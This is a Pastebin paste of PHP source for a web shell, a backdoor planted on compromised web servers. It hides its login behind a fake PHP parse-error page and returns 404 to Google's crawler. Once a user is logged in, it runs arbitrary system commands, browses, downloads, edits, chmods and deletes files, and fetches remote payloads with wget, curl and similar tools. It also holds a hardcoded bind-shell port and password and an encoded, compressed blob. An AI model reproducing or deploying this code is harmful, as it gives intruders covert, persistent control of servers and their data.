JakRapp

SHell

Apr 3rd, 2016
502
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 309.34 KB | None | 0 0
  1. $auth_pass = "71a4d4cd2f30b185d707718273b17d05";
  2. $color = "#df5";
  3. $default_action = 'FilesMan';
  4. $default_use_ajax = true;
  5. $default_charset = 'Windows-1251';
  6. @define('SELF_PATH', __FILE__);
  7. @setcookie("inject", "active", time() + 3600 * 24 * 7);
  8. if (strpos($_SERVER['HTTP_USER_AGENT'], 'Google') !== false) {
  9. header('HTTP/1.0 404 Not Found');
  10.  
  11. }
  12. @session_start();
  13. @error_reporting(0);
  14. @ini_set('error_log',NULL);
  15. @ini_set('log_errors',0);
  16. @ini_set('max_execution_time',0);
  17. @ini_set('output_buffering',0);
  18. @ini_set('display_errors', 0);
  19. @set_time_limit(0);
  20. @set_magic_quotes_runtime(0);
  21. @define('VERSION', '2.1');
  22. if( get_magic_quotes_gpc() ) {
  23. function stripslashes_array($array) {
  24. return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
  25. }
  26. $_POST = stripslashes_array($_POST);
  27. }
  28. function printLogin() {
  29. ?>
  30.  
  31. <br />
  32. <b>Parse error</b>: syntax error, unexpected '}' in <b>/home/<?=$_SERVER['HTTP_HOST']?>/</b> on line <b>4366</b><br />
  33.  
  34.  
  35. <style>
  36. input { margin:0;background-color:#fff;border:1px solid #fff; }
  37. </style>
  38. <center>
  39. <form method=post>
  40. <input type=password name=pass>
  41. </form></center>
  42. <?php
  43. exit;
  44. }
  45. if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))
  46. if( empty( $auth_pass ) ||
  47. ( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass ) ) )
  48. $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
  49. else
  50. printLogin();
  51.  
  52. @ini_set('log_errors',0);
  53. @ini_set('output_buffering',0);
  54. if(isset($_GET['dl']) && ($_GET['dl'] != "")){
  55. $file = $_GET['dl'];
  56. $filez = @file_get_contents($file);
  57. header("Content-type: application/octet-stream");
  58. header("Content-length: ".strlen($filez));
  59. header("Content-disposition: attachment; filename=\"".basename($file)."\";");
  60. echo $filez;
  61. exit;
  62. }
  63. elseif(isset($_GET['dlgzip']) && ($_GET['dlgzip'] != "")){
  64. $file = $_GET['dlgzip'];
  65. $filez = gzencode(@file_get_contents($file));
  66. header("Content-Type:application/x-gzip\n");
  67. header("Content-length: ".strlen($filez));
  68. header("Content-disposition: attachment; filename=\"".basename($file).".gz\";");
  69. echo $filez;
  70. exit;
  71. }
  72. // view image
  73. if(isset($_GET['img'])){
  74. @ob_clean();
  75. $d = magicboom($_GET['y']);
  76. $f = $_GET['img'];
  77. $inf = @getimagesize($d.$f);
  78. $ext = explode($f,".");
  79. $ext = $ext[count($ext)-1];
  80. @header("Content-type: ".$inf["mime"]);
  81. @header("Cache-control: public");
  82. @header("Expires: ".date("r",mktime(0,0,0,1,1,2030)));
  83. @header("Cache-control: max-age=".(60*60*24*7));
  84. @readfile($d.$f);
  85. exit;
  86. }
  87.  
  88. // server software
  89. $software = getenv("SERVER_SOFTWARE");
  90. // check safemode
  91. if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") $safemode = TRUE; else $safemode = FALSE;
  92. // uname -a
  93. $system = @php_uname();
  94. // mysql
  95. function showstat($stat) {if ($stat=="on") {return "<b><font style='color:#00FF00'>ON</font></b>";}else {return "<b><font style='color:#DD4736'>OFF</font></b>";}}
  96. function testmysql() {if (function_exists('mysql_connect')) {return showstat("on");}else {return showstat("off");}}
  97. function testcurl() {if (function_exists('curl_version')) {return showstat("on");}else {return showstat("off");}}
  98. function testwget() {if (exe('wget --help')) {return showstat("on");}else {return showstat("off");}}
  99. function testperl() {if (exe('perl -h')) {return showstat("on");}else {return showstat("off");}}
  100. // check os
  101. if(strtolower(substr($system,0,3)) == "win") $win = TRUE;
  102. else $win = FALSE;
  103. // change directory
  104. if(isset($_GET['y'])){
  105. if(@is_dir($_GET['view'])){
  106. $pwd = $_GET['view'];
  107. @chdir($pwd);
  108. }
  109. else{
  110. $pwd = $_GET['y'];
  111. @chdir($pwd);
  112. }
  113. }
  114. //hdd
  115. function convertByte($s) {
  116. if($s >= 1073741824)
  117. return sprintf('%1.2f',$s / 1073741824 ).' GB';
  118. elseif($s >= 1048576)
  119. return sprintf('%1.2f',$s / 1048576 ) .' MB';
  120. elseif($s >= 1024)
  121. return sprintf('%1.2f',$s / 1024 ) .' KB';
  122. else
  123. return $s .' B';
  124. }
  125.  
  126. // username, id, shell prompt and working directory
  127. if(!$win){
  128. if(!$user = rapih(exe("whoami"))) $user = "";
  129. if(!$id = rapih(exe("id"))) $id = "";
  130. $prompt = $user." \$ ";
  131. $pwd = @getcwd().DIRECTORY_SEPARATOR;
  132. }
  133. else {
  134. $user = @get_current_user();
  135. $id = $user;
  136. $prompt = $user." &gt;";
  137. $pwd = realpath(".")."\\";
  138. // find drive letters
  139. $v = explode("\\",$d);
  140. $v = $v[0];
  141. foreach (range("A","Z") as $letter)
  142. {
  143. $bool = @is_dir($letter.":\\");
  144. if ($bool)
  145. {
  146. $letters .= "<a href=\"?y=".$letter.":\\\">[ ";
  147. if ($letter.":" != $v) {$letters .= $letter;}
  148. else {$letters .= "<span class=\"gaya\">".$letter."</span>";}
  149. $letters .= " ]</a> ";
  150. }
  151. }
  152. }
  153.  
  154. function testoracle() {
  155. if (function_exists('ocilogon')) { return showstat("on"); }
  156. else { return showstat("off"); }
  157. }
  158.  
  159. function testmssql() {
  160. if (function_exists('mssql_connect')) { return showstat("on"); }
  161. else { return showstat("off"); }
  162. }
  163.  
  164. function showdisablefunctions() {
  165. if ($disablefunc=@ini_get("disable_functions")){ return "<span style='color:'><font color=#DD4736><b>".$disablefunc."</b></font></span>"; }
  166. else { return "<span style='color:#00FF1E'><b>NONE</b></span>"; }
  167. }
  168.  
  169. if(function_exists("posix_getpwuid") && function_exists("posix_getgrgid")) $posix = TRUE;
  170. else $posix = FALSE;
  171. // server ip
  172. $server_ip = @gethostbyname($_SERVER["HTTP_HOST"]);
  173. // your ip ;-)
  174. $my_ip = $_SERVER['REMOTE_ADDR'];
  175. $admin_id=$_SERVER['SERVER_ADMIN'];
  176. $bindport = "13123";
  177. $bindport_pass = "j4kr4pp";
  178.  
  179. // separate the working direcotory
  180. $pwds = explode(DIRECTORY_SEPARATOR,$pwd);
  181. $pwdurl = "";
  182. for($i = 0 ; $i < sizeof($pwds)-1 ; $i++){
  183. $pathz = "";
  184. for($j = 0 ; $j <= $i ; $j++){
  185. $pathz .= $pwds[$j].DIRECTORY_SEPARATOR;
  186. }
  187. $pwdurl .= "<a href=\"?y=".$pathz."\">".$pwds[$i]." ".DIRECTORY_SEPARATOR." </a>";
  188. }
  189.  
  190. // rename file or folder
  191. if(isset($_POST['rename'])){
  192. $old = $_POST['oldname'];
  193. $new = $_POST['newname'];
  194. @rename($pwd.$old,$pwd.$new);
  195. $file = $pwd.$new;
  196. }
  197. if(isset($_POST['chmod'])){
  198. $name = $_POST['name'];
  199. $value = $_POST['newvalue'];
  200. if (strlen($value)==3){
  201. $value = 0 . "" . $value;}
  202. @chmod($pwd.$name,octdec($value));
  203. $file = $pwd.$name;}
  204.  
  205. if(isset($_POST['chmod_folder'])){
  206. $name = $_POST['name'];
  207. $value = $_POST['newvalue'];
  208. if (strlen($value)==3){
  209. $value = 0 . "" . $value;}
  210. @chmod($pwd.$name,octdec($value));
  211. $file = $pwd.$name;}
  212.  
  213.  
  214. // print useful info
  215. $buff = "Software : <b>".$software."</b><br />";
  216. $buff .= "System OS : <b>".$system."</b><br />";
  217. if($id != "") $buff .= "ID : <b>".$id."</b><br />";
  218. $buff .= "PHP Version : <b>".phpversion()."</b> on <b>".php_sapi_name()."</b><br />";
  219. $buff .= "Server ip : <b>".$server_ip."</b> <span class=\"gaya\"> | </span> Your ip : <b>".$my_ip."</b><span class=\"gaya\"> | </span> Admin : <b>".$admin_id."</b><br />";
  220. $buff .= "Free Disk: "."<span style='color:#00FF1E'><b>".convertByte(disk_free_space("/"))." / ".convertByte(disk_total_space("/"))."</b></span><br />";
  221. if($safemode) $buff .= "Safemode: <span class=\"gaya\"><b>ON</b></span><br />";
  222. else $buff .= "Safemode: <span class=\"gaya\"><b>OFF</b></span><br />";
  223. $buff .= "Disabled Functions: ".showdisablefunctions()."<br />";
  224. $buff .= "MySQL: ".testmysql()."&nbsp;|&nbsp;MSSQL: ".testmssql()."&nbsp;|&nbsp;Oracle: ".testoracle()."&nbsp;|&nbsp;Perl: ".testperl()."&nbsp;|&nbsp;cURL: ".testcurl()."&nbsp;|&nbsp;WGet: ".testwget()."<br>";
  225. $buff .= "<font color=00ff00 ><b>".$letters."&nbsp;&gt;&nbsp;".$pwdurl."</b></font>";
  226.  
  227.  
  228.  
  229.  
  230. function rapih($text){
  231. return trim(str_replace("<br />","",$text));
  232. }
  233.  
  234. function magicboom($text){
  235. if (!get_magic_quotes_gpc()) {
  236. return $text;
  237. }
  238. return stripslashes($text);
  239. }
  240.  
  241. function showdir($pwd,$prompt){
  242. $fname = array();
  243. $dname = array();
  244. if(function_exists("posix_getpwuid") && function_exists("posix_getgrgid")) $posix = TRUE;
  245. else $posix = FALSE;
  246. $user = "????:????";
  247. if($dh = @scandir($pwd)){
  248. foreach($dh as $file){
  249. if(is_dir($file)){
  250. $dname[] = $file;
  251. }
  252. elseif(is_file($file)){
  253. $fname[] = $file;
  254. }
  255. }
  256. }
  257. else{
  258. if($dh = @opendir($pwd)){
  259. while($file = @readdir($dh)){
  260. if(@is_dir($file)){
  261. $dname[] = $file;
  262. }
  263. elseif(@is_file($file)){
  264. $fname[] = $file;
  265. }
  266. }
  267. @closedir($dh);
  268. }
  269. }
  270.  
  271.  
  272. sort($fname);
  273. sort($dname);
  274. $path = @explode(DIRECTORY_SEPARATOR,$pwd);
  275. $tree = @sizeof($path);
  276. $parent = "";
  277. $buff = "
  278. <form action=\"?y=".$pwd."&amp;x=shell\" method=\"post\" style=\"margin:8px 0 0 0;\">
  279. <table class=\"explore\">
  280. <tr><th>name</th><th style=\"width:80px;\">size</th><th style=\"width:210px;\">owner:group</th><th style=\"width:80px;\">perms</th><th style=\"width:110px;\">modified</th><th style=\"width:190px;\">actions</th></tr>
  281.  
  282. ";
  283. if($tree > 2) for($i=0;$i<$tree-2;$i++) $parent .= $path[$i].DIRECTORY_SEPARATOR;
  284. else $parent = $pwd;
  285.  
  286. foreach($dname as $folder){
  287. if($folder == ".") {
  288. if(!$win && $posix){
  289. $name=@posix_getpwuid(@fileowner($folder));
  290. $group=@posix_getgrgid(@filegroup($folder));
  291. $owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
  292. }
  293. else {
  294. $owner = $user;
  295. }
  296. $buff .= "<tr><td><a href=\"?y=".$pwd."\">$folder</a></td><td>LINK</td>
  297. <td style=\"text-align:center;\">".$owner."</td><td><center>".get_perms($pwd)."</center></td>
  298. <td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($pwd))."</td><td><span id=\"titik1\">
  299.  
  300. <a href=\"?y=$pwd&amp;edit=".$pwd."newfile.php\">newfile</a> | <a href=\"javascript:tukar('titik1','titik1_form');\">newfolder</a></span>
  301. <form action=\"?\" method=\"get\" id=\"titik1_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
  302. <input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
  303. <input class=\"inputz\" style=\"width:140px;\" type=\"text\" name=\"mkdir\" value=\"a_new_folder\" />
  304. <input class=\"inputzbut\" type=\"submit\" name=\"rename\" style=\"width:35px;\" value=\"Go !\" />
  305. </form></td>
  306.  
  307. </tr>
  308.  
  309. ";
  310. }
  311. elseif($folder == "..") {
  312. if(!$win && $posix){
  313. $name=@posix_getpwuid(@fileowner($folder));
  314. $group=@posix_getgrgid(@filegroup($folder));
  315. $owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
  316. }
  317. else {
  318. $owner = $user;
  319. }
  320. $buff .= "<tr><td><a href=\"?y=".$parent."\"><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAAN1gAADdYBkG95nAAAAAd0SU1FB9oJBxUAM0qLz6wAAALLSURBVDjLbVPRS1NRGP+d3btrs7kZmAYXlSZYUK4HQXCREPWUQSSYID1GEKKx/Af25lM+DCFCe4heygcNdIUEST04QW6BjS0yx5UhkW6FEtvOPfc7p4emXcofHPg453y/73e+73cADyzLOoy/bHzR8/l80LbtYD5v6wf72VzOmwLmTe7u7oZlWccbGhpGNJ92HQwtteNvSqmXJOWjM52dPPMpg/Nd5/8SpFIp9Pf3w7KsS4FA4BljrB1HQCmVc4V7O3oh+mFlZQWxWAwskUggkUhgeXk5Fg6HF5mPnWCAAhhTUGCKQUF5eb4LIa729PRknr94/kfBwMDAsXg8/tHv958FoDxP88YeJTLd2xuLAYAPAIaGhu5IKc9yzsE5Z47jYHV19UOpVNoXQsC7OOdwHNG7tLR0EwD0UCis67p2nXMOACiXK7/ev3/3ZHJy8nEymZwyDMM8qExEyjTN9vr6+oAQ4gaAef3ixVgd584pw+DY3d0tTE9Pj6TT6TfBYJCPj4/fBuA/IBBC+GZmZhZbWlrOOY5jDg8Pa3qpVEKlUoHf70cgEGgeHR2NPHgQV4ODt9Ts7KwEQACgaRpSqVdQSrFqtYpqtSpt2wYDYExMTMy3tbVdk1LWpqXebm1t3TdN86mu65FaMw+sE2KM6T9//pgaGxsb1QE4a2trr5uamq55Gn2l+WRzWgihEVH9EX5AJpOZBwANAHK5XKGjo6OvsbHRdF0XRAQpZZ2U0k9EiogYEYGIlJSS2bY9m0wmHwJQWo301/b2diESiVw2jLoQETFyXeWSy4hc5rqHJKxYLGbn5ubuFovF0qECANjf37e/bmzkjDrjdCgUamU+MCIJIgkpiZXLZZnNZhcWFhbubW5ufu7q6sLOzs7/LgPQ3tra2h+NRvvC4fApAHJvb29rfX19qVAovAawd+Rv/Ac+AMcAGLUJVAA4R138DeF+cX+xR/AGAAAAAElFTkSuQmCC'> $folder</a></td><td>LINK</td>
  321. <td style=\"text-align:center;\">".$owner."</td>
  322. <td><center>".get_perms($parent)."</center></td><td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($parent))."</td>
  323.  
  324. <td><span id=\"titik2\"><a href=\"?y=$pwd&amp;edit=".$parent."newfile.php\">newfile</a> | <a href=\"javascript:tukar('titik2','titik2_form');\">newfolder</a></span>
  325. <form action=\"?\" method=\"get\" id=\"titik2_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
  326. <input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
  327. <input class=\"inputz\" style=\"width:140px;\" type=\"text\" name=\"mkdir\" value=\"a_new_folder\" />
  328. <input class=\"inputzbut\" type=\"submit\" name=\"rename\" style=\"width:35px;\" value=\"Go !\" />
  329. </form>
  330. </td></tr>";
  331. }
  332. else {
  333. if(!$win && $posix){
  334. $name=@posix_getpwuid(@fileowner($folder));
  335. $group=@posix_getgrgid(@filegroup($folder));
  336. $owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
  337. }
  338. else {
  339. $owner = $user;
  340. }
  341. $buff .= "<tr><td><a id=\"".clearspace($folder)."_link\" href=\"?y=".$pwd.$folder.DIRECTORY_SEPARATOR."\"><b><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAQAAAC1+jfqAAAAAXNSR0IArs4c6QAAAAJiS0dEAP+Hj8y/AAAACXBIWXMAAAsTAAALEwEAmpwYAAAA00lEQVQoz6WRvUpDURCEvzmuwR8s8gr2ETvtLSRaKj6ArZU+VVAEwSqvJIhIwiX33nPO2IgayK2cbtmZWT4W/iv9HeacA697NQRY281Fr0du1hJPt90D+xgc6fnwXjC79JWyQdiTfOrf4nk/jZf0cVenIpEQImGjQsVod2cryvH4TEZC30kLjME+KUdRl24ZDQBkryIvtOJggLGri+hbdXgd90e9++hz6rR5jYtzZKsIDzhwFDTQDzZEsTz8CRO5pmVqB240ucRbM7kejTcalBfvn195EV+EajF1hgAAAABJRU5ErkJggg==' /> [ $folder ]</b></a>
  342.  
  343. <form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($folder)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
  344. <input type=\"hidden\" name=\"oldname\" value=\"".$folder."\" style=\"margin:0;padding:0;\" />
  345. <input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"".$folder."\" />
  346. <input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" />
  347. <input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($folder)."_form','".clearspace($folder)."_link');\" />
  348. </form><td>DIR</td><td style=\"text-align:center;\">".$owner."</td>
  349. <td><center>
  350. <a href=\"javascript:tukar('".clearspace($folder)."_link','".clearspace($folder)."_form3');\">".get_perms($pwd.$folder)."</a>
  351.  
  352. <form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($folder)."_form3\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
  353. <input type=\"hidden\" name=\"name\" value=\"".$folder."\" style=\"margin:0;padding:0;\" />
  354. <input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newvalue\" value=\"".substr(sprintf('%o', fileperms($pwd.$folder)), -4)."\" />
  355. <input class=\"inputzbut\" type=\"submit\" name=\"chmod_folder\" value=\"chmod\" />
  356. <input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\"
  357. onclick=\"tukar('".clearspace($folder)."_link','".clearspace($folder)."_form3');\" /></form></center></td>
  358. <td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($folder))."</td><td><a href=\"javascript:tukar('".clearspace($folder)."_link','".clearspace($folder)."_form');\">rename</a> | <a href=\"?y=$pwd&amp;fdelete=".$pwd.$folder."\">delete</a></td></tr>";
  359. }
  360. }
  361.  
  362. foreach($fname as $file){
  363. $full = $pwd.$file;
  364. if(!$win && $posix){
  365. $name=@posix_getpwuid(@fileowner($folder));
  366. $group=@posix_getgrgid(@filegroup($folder));
  367. $owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
  368. }
  369. else {
  370. $owner = $user;
  371. }
  372. $buff .= "<tr><td><a id=\"".clearspace($file)."_link\" href=\"?y=$pwd&amp;view=$full\"><b><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII=' /> $file</b></a>
  373.  
  374. <form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($file)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
  375. <input type=\"hidden\" name=\"oldname\" value=\"".$file."\" style=\"margin:0;padding:0;\" />
  376. <input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"".$file."\" />
  377. <input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" />
  378. <input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($file)."_link','".clearspace($file)."_form');\" />
  379. </form></td><td>".ukuran($full)."</td><td style=\"text-align:center;\">".$owner."</td><td><center>
  380. <a href=\"javascript:tukar('".clearspace($file)."_link','".clearspace($file)."_form2');\">".get_perms($full)."</a>
  381.  
  382. <form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($file)."_form2\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
  383. <input type=\"hidden\" name=\"name\" value=\"".$file."\" style=\"margin:0;padding:0;\" />
  384. <input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newvalue\" value=\"".substr(sprintf('%o', fileperms($full)), -4)."\" />
  385. <input class=\"inputzbut\" type=\"submit\" name=\"chmod\" value=\"chmod\" />
  386. <input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($file)."_link','".clearspace($file)."_form2');\" /></form></center></td>
  387. <td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($full))."</td>
  388. <td><a href=\"?y=$pwd&amp;edit=$full\">edit</a> | <a href=\"javascript:tukar('".clearspace($file)."_link','".clearspace($file)."_form');\">rename</a> | <a href=\"?y=$pwd&amp;delete=$full\">delete</a> | <a href=\"?y=$pwd&amp;dl=$full\">download</a>&nbsp;(<a href=\"?y=$pwd&amp;dlgzip=$full\">gzip</a>)</td></tr>";
  389. }
  390. $buff .= "</table>";
  391. return $buff;
  392. }
  393.  
  394. function ukuran($file){
  395. if($size = @filesize($file)){
  396. if($size <= 1024) return $size;
  397. else{
  398. if($size <= 1024*1024) {
  399. $size = @round($size / 1024,2);;
  400. return "$size kb";
  401. }
  402. else {
  403. $size = @round($size / 1024 / 1024,2);
  404. return "$size mb";
  405. }
  406. }
  407. }
  408. else return "???";
  409. }
  410.  
  411. function exe($cmd){
  412. if(function_exists('system')) {
  413. @ob_start();
  414. @system($cmd);
  415. $buff = @ob_get_contents();
  416. @ob_end_clean();
  417. return $buff;
  418. }
  419. elseif(function_exists('exec')) {
  420. @exec($cmd,$results);
  421. $buff = "";
  422. foreach($results as $result){
  423. $buff .= $result;
  424. }
  425. return $buff;
  426. }
  427. elseif(function_exists('passthru')) {
  428. @ob_start();
  429. @passthru($cmd);
  430. $buff = @ob_get_contents();
  431. @ob_end_clean();
  432. return $buff;
  433. }
  434. elseif(function_exists('shell_exec')){
  435. $buff = @shell_exec($cmd);
  436. return $buff;
  437. }
  438. }
  439.  
  440. function tulis($file,$text){
  441. $textz = gzinflate(base64_decode($text));
  442. if($filez = @fopen($file,"w"))
  443. {
  444. @fputs($filez,$textz);
  445. @fclose($file);
  446. }
  447. }
  448.  
  449. function ambil($link,$file) {
  450. if($fp = @fopen($link,"r")){
  451. while(!feof($fp)) {
  452. $cont.= @fread($fp,1024);
  453. }
  454. @fclose($fp);
  455. $fp2 = @fopen($file,"w");
  456. @fwrite($fp2,$cont);
  457. @fclose($fp2);
  458. }
  459. }
  460.  
  461. function which($pr){
  462. $path = exe("which $pr");
  463. if(!empty($path)) { return trim($path); } else { return trim($pr); }
  464. }
  465.  
  466. function download($cmd,$url){
  467. $namafile = basename($url);
  468. switch($cmd) {
  469. case 'wwget': exe(which('wget')." ".$url." -O ".$namafile);break;
  470. case 'wlynx': exe(which('lynx')." -source ".$url." > ".$namafile);break;
  471. case 'wfread' : ambil($wurl,$namafile);break;
  472. case 'wfetch' : exe(which('fetch')." -o ".$namafile." -p ".$url);break;
  473. case 'wlinks' : exe(which('links')." -source ".$url." > ".$namafile);break;
  474. case 'wget' : exe(which('GET')." ".$url." > ".$namafile);break;
  475. case 'wcurl' : exe(which('curl')." ".$url." -o ".$namafile);break;
  476. default: break;
  477. }
  478. return $namafile;
  479. }
  480.  
  481. function get_perms($file)
  482. {
  483. if($mode=@fileperms($file)){
  484. $perms='';
  485. $perms .= ($mode & 00400) ? 'r' : '-';
  486. $perms .= ($mode & 00200) ? 'w' : '-';
  487. $perms .= ($mode & 00100) ? 'x' : '-';
  488. $perms .= ($mode & 00040) ? 'r' : '-';
  489. $perms .= ($mode & 00020) ? 'w' : '-';
  490. $perms .= ($mode & 00010) ? 'x' : '-';
  491. $perms .= ($mode & 00004) ? 'r' : '-';
  492. $perms .= ($mode & 00002) ? 'w' : '-';
  493. $perms .= ($mode & 00001) ? 'x' : '-';
  494. return $perms;
  495. }
  496. else return "??????????";
  497. }
  498.  
  499. function clearspace($text){
  500. return str_replace(" ","_",$text);
  501. }
  502. $wpress="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